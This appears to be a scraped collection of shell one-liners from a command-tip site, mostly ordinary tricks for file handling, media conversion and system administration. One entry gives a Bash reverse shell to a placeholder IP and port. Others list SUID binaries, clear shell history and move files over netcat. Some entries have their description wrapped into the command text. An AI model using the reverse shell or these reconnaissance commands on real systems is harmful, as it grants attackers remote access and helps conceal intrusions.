etchanging_assets = `s3cmd sync --dry-run -P -M --exclude=*.php --delete-removed #{preprod_release_dir}/web/ #{s3_bucket} | grep -E 'delete:|upload:' | awk '{print $2}' | sed s_#{preprod_release_dir}/web__`
# Print the last modified file
ls -t1 | head -n1
# Connect to all running screen instances
for i in `screen -ls | perl -ne'if(/^\s+\d+\.([^\s]+)/){print $1, " "}'`; do gnome-terminal -e "screen -x $i"; done
# Monitor RX/TX packets and any subsquent errors
watch 'netstat -aniv'
# convert wav files to flac
flac --best *.wav
# Tail a log-file over the network
tail -f error_log | nc -l 1234
# HTTP GET request on wireshark remotly
ssh USER@HOST "sudo tshark -i eth0 -f 'tcp port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420' -w -" | wireshark -k -i -
# convert wav files to ogg
oggenc *.wav
# Restart X11 with HUP signal
kill HUP `pidof '/usr/bin/X'`
# The simplest way to transport information over a network
(on destination machine) nc -l 1234 > whatever; (on source machine) nc destination 1234 < whatever;
# Shell function to create a menu of items which may be inserted into the X past
e buffer.smenu() ( IFS=',' ; select x in $*; do echo "$x" | xsel -i; done )
# fix flash video (flv) file (ffmpeg)
ffmpeg -i broken.flv -acodec copy -vcodec copy fixed.flv
# Encrypt every file in the current directory with 256-bit AES, retaining the or
iginal.for f in * ; do [ -f $f ] && openssl enc -aes-256-cbc -salt -in $f -out $f.enc -pass file:/tmp/password-file ; done
# Convert PNG to GIF
for file in *.png; do convert "$file" "$(basename $file .png).gif"; done
# Email someone if a web page has been updated.
cd /some/empty/folder/website_diffs/sitename && wget -N http://domain.com/ 2>&1 |grep -q "o newer" || printf "Sites web page appears to have updated.\n\nSuggest you check it out.\n\n"|mail -s "Sites page updated." [email protected]
# pop-up messages on a remote computer
while : ; do if [ ! $(ls -l commander | cut -d ' ' -f5) -eq 0 ]; then notify-send "$(less commander)"; > commander; fi; done
# Set random background image in gnome
gconftool-2 -t str -s /desktop/gnome/background/picture_filename "$(find ~/Wallpapers -type f | shuf -n1)"
# using tee to echo to a system file with sudo privileges
echo ondemand | sudo tee /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
# Create .pdf from .doc
wvPDF test.doc test.pdf
# Convert embedded spaces in filenames to "_" (underscore)
ls -1 | grep " " | awk '{printf("mv \"%s\" ",$0); gsub(/ /,"_",$0); printf("%s\n",$0)}' | sh # rename filenames: spaces to "_"
# Exclude a string with awk
awk '{sub("String","",$0); print $0}' file
# Display 6 largest installed RPMs sorted by size (descending)
rpm -qa --qf '%{SIZE} %{NAME}\n' | sort -nr | nl | head -6 # six largest RPMs
# advanced bash history
export HISTTIMEFORMAT='%Y.%m.%d-%T :: ' HISTFILESIZE=50000 HISTSIZE=50000
# get only time of execution of a command without his output
time Command  >/dev/null
# sed edit-in-place using -a option instead of -i option (no tmp file created)
sedi(){ case $# in [01])echo usage: sedi cmds file;;2)sed -an ''"$1"';H;$!d;g;w '"$2"'' $2;;esac;}
# PRINT LINE the width of screen or specified using any char including Colors, E
scapes and metacharsL(){ l=`builtin printf %${2:-$COLUMNS}s` && echo -e "${l// /${1:-=}}"; }
# fdiff is a 'filtered diff'. Given a text filter and two inputs, will run the f
ilter across the input files and diff the output.fdiff() { ${DIFFCMD:-diff} <( $1 $2 ) <( $1 $3 ); }
# An alias to select a portion of your desktop and save it as an image.
alias capture='IMAGE="/home/user/Pictures/capture-`date +%Y%m%d%H%M%S`.png"; import -frame $IMAGE; echo "Image saved as $IMAGE"'
# Exclude a string with awk
awk '{sub("String","")}1'
# extract plain text from MS Word docx files
unzip -p some.docx word/document.xml | sed -e 's/<[^>]\{1,\}>//g; s/[^[:print:]]\{1,\}//g'
# Insert a line for each n lines
ls -l | sed "$(while (( ++i < 5 )); do echo "N;"; done) a -- COMMIT --"
# posts an xml file to a webservice with curl
curl -X POST -d @request.xml -H 'Content-Type: text/xml' https://hostname/context/service
# Grep for regular expression globally, list files and positions.
find . -name "*.pbt" -exec grep -Hirn "declareObject.*Common_Down" {} \;
# Paste hardware list (hwls) in html format into pastehtml.com directly from con
sole and return URI.listhw(){ curl -s -S --data-urlencode "txt=$(sudo lshw -html)" "http://pastehtml.com/upload/create?input_type=html&result=address";echo;}
# Recursive Search and Replace
perl -pi -e's/<what to find>/<what to replace it with>/g' `grep -Rl <what to find> /<dir>/*`
# Load all files (including in subdirs), whose name matches a substring, into Vi
mvim $(find . ! -path \*.svn\* -type f -iname \*foo\*)
# purge all packages marked with 'rc'
sudo dpkg --purge `dpkg -l | awk '/^r/{print $2}'`
# sort ugly text
sort -bdf
# Using awk to sum/count a column of numbers.
cat count.txt | awk '{ sum+=$1} END {print sum}'
# Alias for quick command-line volume set (works also remotely via SSH)
alias setvol='aumix -v'
# List the size (in human readable form) of all sub folders from the current loc
ationdu -sh */
# git diff of files that have been staged ie 'git add'ed
git diff --cached
# Emptying a text file in one shot
:1,$d
# Update a tarball
tar -tf file.tar | tar -T - -uf file.tar
# Trim linebreaks
cat myfile.txt | tr -d '\n'
# Generat a Random MAC address
od -An -N10 -x  /dev/random  | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'
# View any already in progress copy command in detail
sudo lsof -p1234 | grep -E "(3r|4w).*REG"
# BourneShell: Go to previous directory
cd -
# Lists the supported memory types and how much your board can support.
sudo dmidecode -t 5,16
# Track X Window events in chosen window
xev -id `xwininfo | grep 'Window id' | awk '{print $4}'`
# Insert a line for each n lines
ls -l | awk '{if (NR % 5 == 0) print "-- COMMIT --"; print}'
# Transcode .flac to .wav with gstreamer
for i in *.flac; do gst-launch filesrc location="$i" ! flacdec ! wavenc ! filesink location="${i%.flac}.wav"; done
# cpu info
sudo dmidecode -t processor
# Shrink more than one blank lines to one in VIM.
:%v/./,/./-j
# Send a local file via email
cat filename | mail -s "Email subject" [email protected]
# Display condensed log  in a tree-like format.
git log --graph --pretty=oneline --decorate
# Count number of hits per IP address in last 2000 lines of apache logs and prin
t the IP and hits if hits > 20tail -n2000 /var/www/domains/*/*/logs/access_log | awk '{print $1}' | sort | uniq -c | sort -n | awk '{ if ($1 > 20)print $1,$2}'
# lotto generator
echo $(shuf -n 6 -i 1-49 | sort -n)
# Console clock -- Revised
yes 'clear;printf "\n\n\n\n\t\t\t`date`\n";sleep 1' | sh
# Compare prices in euro of the HTC Desire on all the european websites of Expan
sys.for i in be bg cz de es fi fr hu it lv lu at pl pt ro sk si  ; do echo -n "$i " ; wget -q -O - http://www.expansys.$i/d.aspx?i=196165 | grep price | sed "s/.*<p id='price'><strong>&euro; \([0-9]*[,.][0-9]*\).*/\1/g"; done
# list folders containing less than 2 MB of data
find . -type d -exec du -sk '{}' \; | awk '{ if ($1 <2000) print $0 }' | sed 's/^[0-9]*.//'
# Replace spaces in a filename with hyphens
rename 's/ /-/g' *
# Console clock
watch -t -n1 'date "+%r %F %A"'
# mix video and audio
ffmpeg -i video.mp4 -i audio.mp3 -vcodec copy -acodec copy -map 0.0:0 -map 1.0:1 mix.mp4
# Paste command output to www.pastehtml.com in txt format.
paste(){ curl -s -S --data-urlencode "txt=$($*)" "http://pastehtml.com/upload/create?input_type=txt&result=address";echo;}
# extract audio from flv to mp3
ffmpeg -i input.flv -f mp3 -vn -acodec copy ouput.mp3
# Buffer in order to avoir mistakes with redirections that empty your files
buffer () { tty -s && return; tmp=$(mktemp); cat > "${tmp}"; if [ -n "$1" ] && ( ( [ -f "$1" ] && [ -w "$1" ] ) || ( ! [ -a "$1" ] && [ -w "$(dirname "$1")" ] ) ); then mv -f "${tmp}" "$1"; else echo "Can't write in \"$1\""; rm -f "${tmp}"; fi }
# Delete all files older than X in given path
find . -mtime +10 -delete
# Work out numerical last month
LASTMONTHNUM=`date -d "last month" +%m`
# Create a file of a given size in linux
dd if=/dev/zero of=sparse_file bs=1024 skip=1024 count=1
# reduce mp3 bitrate (and size, of course)
lame --mp3input -m m --resample 24 input.mp3
# using scanner device from command line
scanimage -d mustek_usb --resolution 100 --mode Color > image.pnm
# replace strings in file names
rename 's/foo/bar/g' foobar
# Check if filesystem hangs
ls /mnt/badfs &
# disk space email alert
[ $(df / | perl -nle '/([0-9]+)%/ && print $1') -gt 90 ] && df -hP | mutt -s "Disk Space Alert -- $(hostname)" [email protected]
# convert a line to a space
echo $(cat file)
# List every file that has ever existed in a git repository
git log --all --pretty=format:" " --name-only | sort -u
# remove newlines from specific lines in a file using sed
sed -i '/pattern/N; s/\n//' filename
# Console clock
while [[ 1 ]] ; do clear; banner `date +%H:%M:%S` ; sleep 1; done
# Get sunrise and sunset times
l=12765843;curl -s http://weather.yahooapis.com/forecastrss?w=$l|grep astronomy| awk -F\" '{print $2 "\n" $4;}'
# Replicate a directory structure dropping the files
find . -type d -exec mkdir -p $DESTDIR/{} \;
# ffmpeg command that transcodes a MythTV recording for Google Nexus One mobile 
phoneffmpeg -i /var/lib/mythtv/pretty/Chuck20100208800PMChuckVersustheMask.mpg -s 800x480 -vcodec mpeg4 -acodec libfaac -ac 2 -ar 16000 -r 13 -ab 32000 -aspect 16:9 Chuck20100208800PMChuckVersustheMask.mp4
# Connect-back shell using Bash built-ins
bash -i >& /dev/tcp/IP/PORT 0>&1
# View internet connection activity in a browser
lsof -nPi | txt2html  > ~/lsof.html
# create a backup for all directories from current dir
find -maxdepth 1 -type d -print0 | xargs -0 -I {} tar -cvzf {}.tar.gz {}
# c_rehash replacement
for file in *.pem; do ln -s $file `openssl x509 -hash -noout -in $file`.0; done
# Get your public ip
curl -s ip.appspot.com
# Update twitter with Perl
perl -MNet::Twitter -e '$nt = Net::Twitter->new(traits => [qw/API::REST/], username => "YOUR USERNAME", password => "YOUR PASSWORD"); $ud = $nt->update("YOUR TWEET");'
# Recover deleted Binary files
sudo foremost -i /dev/sda -o /recovery
# Continue a current job in the background
%1 &!
# Dump a configuration file without comments or whitespace...
grep -v "\ *#\|^$" /etc/path/to.config
# Make ogg file from wav file
oggenc --tracknum='track' track.cdda.wav -o 'track.ogg'
# Length of longest line of code
awk '(length>t) {t=length} END {print t}' *.cpp
# Replace "space" char with "dot" char in current directory file names
ls -1 | while read a; do mv "$a" `echo $a | sed -e 's/\ /\./g'`; done
# Display usb power mode on all devices
for i in `find /sys/devices/*/*/usb* -name level` ; do echo -n "$i: " ; cat $i ; done
# Add a progress counter to loop (see sample output)
finit "1 2 3" 3 2 1 | while fnext i ; do echo $i; done;
# Multiple variable assignments from command output in BASH
eval $(date +"day=%d; month=%m; year=%y")
# Copy the sound content of a video to an mp3 file
ffmpeg -i source.flv -vn acodec copy destination.mp3
# disable caps lock
xmodmap -e "remove Lock = Caps_Lock"
# Create a video that is supported by youtube
ffmpeg -i mymovie.mpg -ar 22050 -acodec libmp3lame -ab 32K -r 25 -s 320x240 -vcodec flv mytarget.flv
# Clear your history saved into .bash_history file!
history -c
# Annoying PROMPT_COMMAND animation
PROMPT_COMMAND='seq $COLUMNS | xargs -IX printf "%Xs\r" @'
# uniq without pre-sorting
perl -ne 'print if !$a{$_}++'
# Print all /etc/passwd lines with duplicated uid
awk -F: 'BEGIN{a[NULL]=0;dupli[NULL]=0;}{if($3 in a){print a[$3];print ;}else a[$3]=$0;} ' /etc/passwd | sort -t: -k3 -n | sed -e 's/^/'$(hostname)':/g'
# Run the last command as root - (Open)Solaris version with RBAC
pfexec !!
# create SQL-statements from textfile with awk
$ awk '{printf "select * from table where id = %c%s%c;\n",39,$1,39; }' inputfile.txt
# count how many cat processes are running
ps ax | grep -c [c]at
# Get length of current playlist in xmms2
xmms2 list | grep '^\s\+\[' | wc -l
# Simple example of the trap command
trap "echo \"$0 process $$ killed on $(date).\"; exit " HUP INT QUIT ABRT TERM STOP
# Flush DNS cache in MacOS 10.5
dscacheutil -flushcache
# Get IP from hostname
dig +short google.com
# Clean up after a poorly-formed tar file
tar ztf tar-lacking-subdirectory.tar.gz | xargs rm
# mplayer -af scaletempo
mplayer -af scaletempo -speed 1.5 file.avi
# Compress blank lines in VIM
:g/^\s*$/,/\S/-j|s/.*//
# Open a file explorer on a split screen inside your vim session
:Sex
# Mount iso to /mnt on Solaris
mount -F hsfs -o ro `lofiadm -a /sol-10-u7-ga-sparc-dvd.iso` /mnt
# Create commands to download all of your Picasaweb albums
google picasa list-albums |awk 'BEGIN { FS = "," }; {print "\""$1"\""}'|sed s/^/google\ picasa\ get\ /|awk ' {print $0,"."}'
# Random file naming
mv file.png  $( mktemp -u | cut -d'.' -f2 ).png
# Extract the MBR ID of a device
dd if=/dev/sda bs=1 count=4 skip=$((0x1b8)) 2>/dev/null | hexdump -n4 -e '"0x%x\n"'
# exclude file(s) from rsync
rsync -vazuK --exclude "*.mp3" --exclude "*.svn*" * user@host:/path
# View a man page on a nice interface
yelp man:foo
# Get My Public IP Address
curl -s http://whatismyip.org/
# watch your network load on specific network interface
watch -n1 'ifconfig eth0|grep bytes'
# Get My Public IP Address
wget -qO - http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
# Search for a <pattern> string inside all files in the current directory
find . -type f -print0 | xargs -0 grep -i <pattern>
# Sed can refference parts of the pattern in the replacement:
echo -e "swap=me\n1=2"|sed 's/\(.*\)=\(.*\)/\2=\1/g'
# Returns the number of cores in a linux machine.
grep -c ^processor /proc/cpuinfo
# Dump the root directory to an external hard drive
dump -0 -M -B 4000000 -f /media/My\ Passport/Fedora10bckup/root_dump_fedora -z2 /
# gzip over ssh
ssh 10.0.0.4 "cat /tmp/backup.sql | gzip -c1" | gunzip -c > backup.sql
# Sort installed rpms by decreasing size.
rpm -qa --qf  "%-10{SIZE} %-30{NAME}\n" | sort -nr | less
# Find which service was used by which port number
getent services <port_number>
# Start vim without initialization
vim -u NONE yourfile
# Label EXT2/EXT3 File System
e2label /dev/vg0/lv0 MyFiles
# print battery , thermal , and cooling info
acpi -tc
# Make shell (script) low priority. Use for non interactive tasks
renice 19 -p $$
# hanukkah colored bash prompt
export PS1="\e[0;34m[\u\e[0;34m@\h[\e[0;33m\w\e[0m\e[0m\e[0;34m]#\e[0m "
# Sort installed rpms in alphabetic order with their size.
rpm -qa --qf  "%-30{NAME} %-10{SIZE}\n" | sort -n | less
# Show LAN IP with ip(8)
ip route show dev eth0 | awk '{print $7}'
# diff will usually only take one file from STDIN. This is a method to take the 
result of two streams and compare with diff. The example I use to compare two iTunes libraries but it is generally applicable.diff <(cd /path-1; find . -type f -print | egrep -i '\.m4a$|\.mp3$') <(cd /path-2; find . f -print | egrep -i '\.m4a$|\.mp3$')
# Make directories for and mount all iso files in a folder
for file in *.iso; do mkdir `basename $file | awk -F. '{print $1}'`; sudo mount -t iso9660 -o loop $file `basename $file | awk -F. '{print $1}'`;  done
# Revert an SVN file to previous revision
svn up -rREV file
# copy last command to clipboard
echo "!!" | pbcopy
# make a list of movies(.m3u).
find $HOME -type f -print | perl -wnlaF'/' -e 'BEGIN{ print "#EXTM3U"; } /.+\.wmv$|.+\.mpg$|.+\.vob$/i and print "#EXTINF:$F[-1]\nfile://$&";' > movies.m3u
# Extract raw URLs from a file
egrep -ie "<*HREF=(.*?)>" index.html | cut -d "\"" -f 2 | grep ://
# Check if a command is available in your system
type {command} >/dev/null
# Start a terminal with three open tabs
gnome-terminal --tab --tab --tab
# Show permissions of current directory and all directories upwards to /
dir=$(pwd); while [ ! -z "$dir" ]; do ls -ld "$dir"; dir=${dir%/*}; done; ls -ld /
# Take a screenshot of a login screen
chvt 7 ; sleep 2 ; DISPLAY=:0.0 import -window root screenshot.png
# Copy a directory recursively without data/files
find . -type d -exec mkdir /copy_location/{} \;
# lsof - cleaned up for just open listening ports, the process, and the owner of
 the processalias oports="echo 'User:      Command:   Port:'; echo '----------------------------' ; lsof -i 4 -P -n | grep -i 'listen' | awk '{print \$3, \$1, \$9}' | sed 's/ [a-z0-9\.\*]*:/ /' | sort -k 3 -n |xargs printf '%-10s %-10s %-10s\n' | uniq"
# Convert a date to timestamp
date --utc --date "2009-02-06 09:57:54" +%s
# Delete .svn directories and content recursively
`find . -iname ".svn" -type d | sed -e "s/^/rm -rfv /g"`
# Make info pages much less painful
pinfo date
# github push-ing behind draconian proxies!
git remote add origin git@SSH-HOST:<USER>/<REPOSITORY>.git
# Mount/unmount your truecrypted file containers
truecrypt volume.tc
# Analyse writing style of writing style of a document
style TEXT-FILE
# Know which version dpkg/apt considers more recent
dpkg --compare-versions 1.0-2ubuntu5 lt 1.1-1~raphink3 && echo y || echo n
# paste one file at a time instead of in parallel
paste --serial file1 file2 file3
# Lists architecture of installed RPMs
rpm -qa --queryformat "%{NAME} %{ARCH}\n"
# Split lossless audio (ape, flac, wav, wv) by cue file
cuebreakpoints <cue file> | shnsplit -o <lossless audio type> <audio file>
# fetch all revisions of a specific file in an SVN repository
svn log fileName|cut -d" " -f 1|grep -e "^r[0-9]\{1,\}$"|awk {'sub(/^r/,"",$1);print "svn cat fileName@"$1" > /tmp/fileName.r"$1'}|sh
# Write a listing of all directories and files on the computer to a compressed f
ile.sudo ls -RFal / | gzip > all_files_list.txt.gz
# Change Gnome wallpaper
gconftool-2 -t string -s /desktop/gnome/background/picture_filename <path_to_image>
# Ultimate current directory usage command
find . -maxdepth 1 -type d|xargs du -a --max-depth=0|sort -rn|cut -d/ -f2|sed '1d'|while read i;do echo "$(du -h --max-depth=0 "$i")/";done;find . -maxdepth 1 -type f|xargs du -a|sort -rn|cut -d/ -f2|sed '$d'|while read i;do du -h "$i";done
# change dinosaur poop into gold
sqlite3  -list /home/$USER/.mozilla/firefox/*.default/places.sqlite 'select url from moz_places ;' | grep http
# scp with compression.
scp -C 10.0.0.4:/tmp/backup.sql /path/to/backup.sql
# write the output of a command to /var/log/user.log... each line will contain $
USER, making this easy to grep for.log() { (echo "\$ $@";$@) | logger -t $USER; }
# Expedient hard disk temprature and load cycle stats
watch -d 'sudo smartctl -a /dev/sda | grep Load_Cycle_Count ; sudo smartctl -a /dev/sda | grep Temp'
# Import SQL into MySQL with a progress meter
(pv -n ~/database.sql | mysql -u root -pPASSWORD -D database_name) 2>&1 | zenity --width 550 --progress --auto-close --auto-kill --title "Importing into MySQL" --text "Importing into the database"
# Create a self-signed certificate for Apache Tomcat
${JAVA_HOME}/bin/keytool -genkey -alias tomcat [-validity (# of days valid)] -keyalg RSA -keystore (Path to keystore)
# Freshening up RKhunter
rkhunter --versioncheck --update --propupd --check
# create a simple version of ls with extended output
alias l='ls -CFlash'
# Remove an IP address ban that has been errantly blacklisted by denyhosts
denyhosts-remove $IP_ADDRESS
# create a progress bar...
p(){ c=$(($(tput cols)-3));j=$(($1*c/100)); tput sc;printf "[$(for((k=0;k<j;k++));do printf "=";done;)>";tput cuf $((c-j));printf "]";tput rc; };for((i=0; i<=100; i++));do p i;done;echo
# Displays the current time using HTTP
curl -Is google.com | grep Date
# Execute a command with a timeout
perl -e "alarm 10; exec @ARGV" "somecommand"
# Open a file in a GTK+ dialog window
zenity --title passwd --width 800 --height 600 --text-info --filename /etc/passwd
# Get a BOFH excuse
telnet towel.blinkenlights.nl 666 | sed "s/=== The BOFH Excuse Server ===//" | tr -d '\n' && echo
# Update your journal
vi ~/journal/$(date +%F)
# Clear history
history -c
# Dump and bz2compress a mysql db
mysqldump -u user -h host -ppwd -B dbname | bzip2 -zc9 > dbname.sql.bz2
# Then end of the UNIX epoch
date -d @$(echo $((2 ** 31 - 1)))
# Search big files with long lines
lgrep() { string=$1; file=$2; awk -v String=${string} '$0 ~ String' ${file}; }
# Find all plain text files that do not contain STRING
find . -type f ! -exec grep -q 'STRING' {} \; -print
# change ownership en masse of files owned by a specific user, including files a
nd directories with spacesfind . -uid 0 -print0 | xargs -0 chown foo:foo
# List your largest installed packages (on Debian/Ubuntu)
sed -ne '/^Package: \(.*\)/{s//\1/;h;};/^Installed-Size:  \(.*\)/{s//\1/;G;s/\n/ /;p;}' /var/lib/dpkg/status | sort -rn
# Currency Conversion
currency_convert() { curl -s "http://www.google.com/finance/converter?a=$1&from=$2&to=$3" | sed '/res/!d;s/<[^>]*>//g'; }
# find out how many days since given date
echo "($(date +%s)-$(date +%s -d "march 1"))/86400"|bc
# one-line log format for svn
svn log | perl -ne 'chomp; if (/^-{10}/) {print "\n" if $l; $l=0}; s/[^|]*$// && print if $l==1; print if $l==3; $l++'
# Know your distro
lsb-release -a
# Convert Squid unixtime logs in human-readable ones
perl -p -e 's/^([0-9]*)/"[".localtime($1)."]"/e' < /var/log/squid/access.log
# cat stdout of multiple commands
( command1 arg arg ; command2 arg ) ...
# Repeat a command until stopped
while true ; do echo -n "`date`";curl localhost:3000/site/sha;echo -e;sleep 1; done
# get some information about the parent process from a given process
ps -o ppid= <given pid> | xargs ps -p
# Run command from another user and return to current
su - $user -c <command>
# find the path of the java called from the command line
ls -l $(type -path -all java)
# Add SVN keywords property to all PHP and Javascript files
find . \( -name "*.php" -o -name "*.js" \) -exec svn propset svn:keywords Id {} \;
# Finds all files from / on down over specified size.
find / -type f -size +25M -exec ls -lh {} \; | awk '{ print $5 " " $6$7 ": " $9 }'
# pinky -  user info
pinky -l <username>
# Floating point power p of x
bc -l <<< "x=2; p=0.5; e(l(x)*p)"
# shell function to make gnu info act like man.
alias info='info --vi-keys'
# Title Case Files
rename 's/\b((?!(a|of|that|to)\b)[a-z]+)/\u$1/g' *
# rsync directory tree including only files that match a certain find result.
find /src/dir/ -mtime -10 -printf %P\\0|rsync --files-from=- --from0 /src/dir/ /dst/dir/
# Check general system error on AIX
errpt -a | more
# List upcoming events on google calendar
google calendar list --date `date --date="next thursday" +%Y-%m-%d`
# Find and remove core files
find . -type f -regex '.*/core\.?[0-9]*$' -delete
# Benchmark a hard drive
sudo hdparm -Tt /dev/sda
# Count number of bytes that are different between 2 binary files
cmp -l file1.bin file2.bin | wc -l
# Combining text files into one file
cat *.txt >output.txt
# Find all SUID binaries
find / -perm +6000 -type f -exec ls -ld {} \;
# play all mp4 files on home directory
find ~ -name '*.mp4' | xargs mplayer
# Get all IPs via ifconfig
ifconfig | awk '/ddr:[0-9]/ {sub(/addr:/, ""); print $2}'
# The command used by applications in OS X to determine whether a plist is "good
". from Ed Marczak.plutil -lint plist-file
# Google Spell Checker
spellcheck(){ curl -sd "<spellrequest><text>$1</text></spellrequest>" https://www.google.com/tbproxy/spell | sed 's/.*<spellresult [^>]*>\(.*\)<\/spellresult>/\1/;s/<c \([^>]*\)>\([^<]*\)<\/c>/\1;\2\n/g' | grep 's="1"' | sed 's/^.*;\([^\t]*\).*$/\1/'; }
# Number of files in a SVN Repository
svn log -v --xml file:///path/to/rep | grep kind=\"file\"|wc -l
# Big Countdown Clock in seconds
i=$((15*60)); while [ $i -gt 0 ]; do clear; echo $i | figlet; sleep 1; i=$(($i-1)); done;
# Check for Firewall Blockage.
iptables -L -n --line-numbers | grep xx.xx.xx.xx
# Copy files and directories from a remote machine to the local machine
ssh user@host "(cd /path/to/remote/top/dir ; tar cvf - ./*)" | tar xvf -
# Scrape commands from commandline fu's 1st page
curl -s http://www.commandlinefu.com/commands/browse|egrep '("Fin.*and"|<div class="command">.*</div>)'|sed 's/<[^<]*>//g'|ruby -rubygems -pe 'require "cgi"; $_=sprintf("\n\n%-100s\n\t#%-20s",CGI.unescapeHTML($_).chomp.strip, gets.lstrip) if $.%2'
# Show sorted list of files with sizes more than 1MB in the current dir
ls -l | awk '$5 > 1000000' | sort -k5n
# Play all the music in a folder, on shuffle
mplayer -shuffle *
# Continually monitor things
while (true); do clear; uname -n; echo ""; df -h /; echo ""; tail -5 /var/log/auth.log; echo ""; vmstat 1 5; sleep 15; done
# Change MySQL Pager For Nicer Output
mysql --pager="less -niSFX"
# print all characters of a file using hexdump
od -c <file>
# clone a hard drive to a remote directory via ssh tunnel, and compressing the i
mage
# dd if=/dev/sda | gzip -c | ssh user@ip 'dd of=/mnt/backups/sda.dd'
# Find all dot files and directories
printf "%s\n" .*
# Count threads of a jvm process
ps uH p <PID_OF_U_PROCESS> | wc -l
# Read almost everything (Changelog.gz, .tgz, .deb, .png, .pdf, etc, etc....)
less -r <some file>
# Determine configure options used for MySQL binary builds
grep CONFIG $(which mysqlbug)
# List only executables installed by a debian package
lst=`dpkg -L iptables` ; for f in $lst; do if [ -x $f ] && [ !  -d $f ] ;  then echo $f; fi; done;
# Create sqlite db and store image
sqlite3 img.db "create table imgs (id INTEGER PRIMARY KEY, img BLOB); insert into imgs (img) values (\"$(base64 -w0 /tmp/Q.jpg)\"); select img from imgs where id=1;" | base64 -d -w0 > /tmp/W.jpg
# Print the contents of $VARIABLE, six words at a time
echo $VARIABLE | xargs -d'\40' -n 6 echo
# Allow any local (non-network) connection to running X server
xhost +local:
# Get gzip compressed web page using wget.
wget  -q -O- --header\="Accept-Encoding: gzip" <url> | gunzip > out.html
# How long has this disk been powered on
smartctl -A /dev/sda | grep Power_On_Hours
# Save the current directory without leaving it
pushd .
# List only directories, one per line
find * -type d -maxdepth 0
# The top ten commands you use
perl -pe 's/.+;//' ~/.zsh_history | sort | uniq -c | sort -r|head -10
# Recurse through directories easily
find . -type f | while read file; do cp $file ${file}.bak; done
# Convert a MOV captured from a digital camera to a smaller AVI
ffmpeg -i input.mov -b 4096k -vcodec msmpeg4v2 -acodec pcm_u8 output.avi
# Count opening and closing braces in a string.
countbraces () { COUNT_OPENING=$(echo $1 | grep -o "(" | wc -l); COUNT_CLOSING=$(echo $1 | grep -o ")" | wc -l); echo Opening: $COUNT_OPENING; echo Closing: $COUNT_CLOSING; }
# Coping files, excluding certain files
find ./ ! -name 'excludepattern' | xargs -i cp --parents {} destdir
# Plowshare, download files from cyberlocker like rapidshare megaupload ...etc
plowdown http://www.megaupload.com/?d=abc1234567
# Generat a Random MAC address
od /dev/urandom -w6 -tx1 -An|sed -e 's/ //' -e 's/ /:/g'|head -n 1
# Get just the IP for a hostname
dig hostname a +short
# Get a process's pid by supplying its name
pidof () { ps acx | egrep -i $@ | awk '{print $1}'; }
# Show changed files, ignoring permission, date and whitespace changes
git diff --numstat -w --no-abbrev | perl -a -ne '$F[0] != 0 && $F[1] !=0 && print $F[2] . "\n";'
# Read just the IP address of a device
/sbin/ip -f inet addr | sed -rn 's/.*inet ([^ ]+).*(eth[[:digit:]]*(:[[:digit:]]+)?)/\2 \1/p' | column -t
# create screencast (record text and audio simultaneously) using 'script' and 'a
record'screencast() { arecord -R 1000 -f cd -t wav $1.wav & RECPID=$!; echo "Starting screencast in new shell. Exit subshell to quit."; script -t 2> $1.timing -a $1.session; kill $RECPID; }
# tar.gz with gpg-encryption on the fly
tar -cvz /<path>/ | gpg --encrypt --recipient <keyID> > /<backup-path>/backup_`date +%d_%m_%Y`.tar.gz.gpg
# cp the file
cp /some/path/to/myfile{,.back}
# Convert from octal format to umask
perm=( 6 4 4 ) ; for elem in ${perm[@]}; do echo `expr 7 - $elem` ; done
# Extract your list of blocked images hosts from Firefox database
sqlite3 -noheader -list ~/.mozilla/firefox/<your_profile>/permissions.sqlite "select host from moz_hosts where type='image' and permission=2"
# set wallpaper on windowmaker in one line
wmsetbg -s -u path_to_wallpaper
# concatenate compressed and uncompressed logs
zcat -f $(ls -tr access.log*)
# shell alternative to 'basename'
echo ${file##*/}
# Print the detailed statistics of transferred bytes by the firewall rules
sudo iptables -L -nv
# Generate a random password 30 characters long
tr -cd '[:alnum:]' < /dev/urandom | fold -w30 | head -n1
# convert markdown to PDF
markdown doc.md | htmldoc --cont --headfootsize 8.0 --linkcolor blue --linkstyle plain --format pdf14 - > doc.pdf
# This command can be used to extract the IP address of the network.
inet_ip=`ifconfig wlan0 | grep inet | cut -d: -f2 | cut -d ' ' -f1` && echo $inet_ip
# Selecting a random file/folder of a folder
find . | shuf -n1
# Synchronise a file from a remote server
rsync -av -e ssh user@host:/path/to/file.txt .
# Adhoc tar backup
tar -cvzf - /source/path | ssh <targethostname> -l <username> dd of=/destination/path/backupfile.tgz
# Explanation of system and MySQL error codes
perror NUMBER
# Alias to securely run X from tty and close that tty afterwards.
alias onlyx='nohup startx & disown ; exit'
# search user defined function in c language
cflow file.c | grep ':$' | sed 's/ <.*//'
# Show a calendar
cal [[month] year]
# Checks apache's access_log file, strips the search queries and shoves them up 
your e-mailawk '/q=/{print $11}' /var/log/httpd/access_log.4 | awk -F 'q=' '{print $2}' | sed 's/+/ /g;s/%22/"/g;s/q=//' | cut -d "&" -f 1
# convert ascii string to hex
echo $ascii | perl -ne 'printf ("%x", ord($1)) while(/(.)/g); print "\n";'
# find filenames and directory names that doesn't conform ISO 9660 level 2
find . -regextype posix-extended -not -regex '.*/[A-Za-z_]*([.][A-Za-z_]*)?'
# Search for classes in Java JAR files.
find . -name "*.jar" | while read line; do unzip -l $line; done | grep your-string
# Monitor a specific http interaction with your server
watch -n1 sudo "lsof -n | grep -E 10.0.0.1.*2.1.1.1"
# Configure a serial line device so you can evaluate it with a shell script
stty -F "/dev/ttyUSB0" 9600 ignbrk -brkint -icrnl -imaxbel -opost -onlcr -isig -icanon -iexten -echo -echoe -echok -echoctl -echoke time 5 min 1 line 0
# mail with attachment
tar cvzf - data1 data2 | uuencode data.tar.gz | mail -s 'data' [email protected]
# autorun program when logon Windows XP
schtasks /create /sc onlogon /tn "Run prog" /tr prog.exe
# List all files/folders in working directory with their total size in Megabytes
du --max-depth=1 -m
# Query ip pools based on successive netnames via whois
net=DTAG-DIAL ; for (( i=1; i<30; i++ )); do whois -h whois.ripe.net $net$i | grep '^inetnum:' | sed "s;^.*:;$net$i;" ; done
# Generate a ZenCart-style MD5 password hash.
python -c 'p="SeCuR3PwD";import hashlib as h;s=h.md5(p).hexdigest()[:2];pw=h.md5(s+p).hexdigest();print pw+":"+s;'
# Which files/dirs waste my disk space
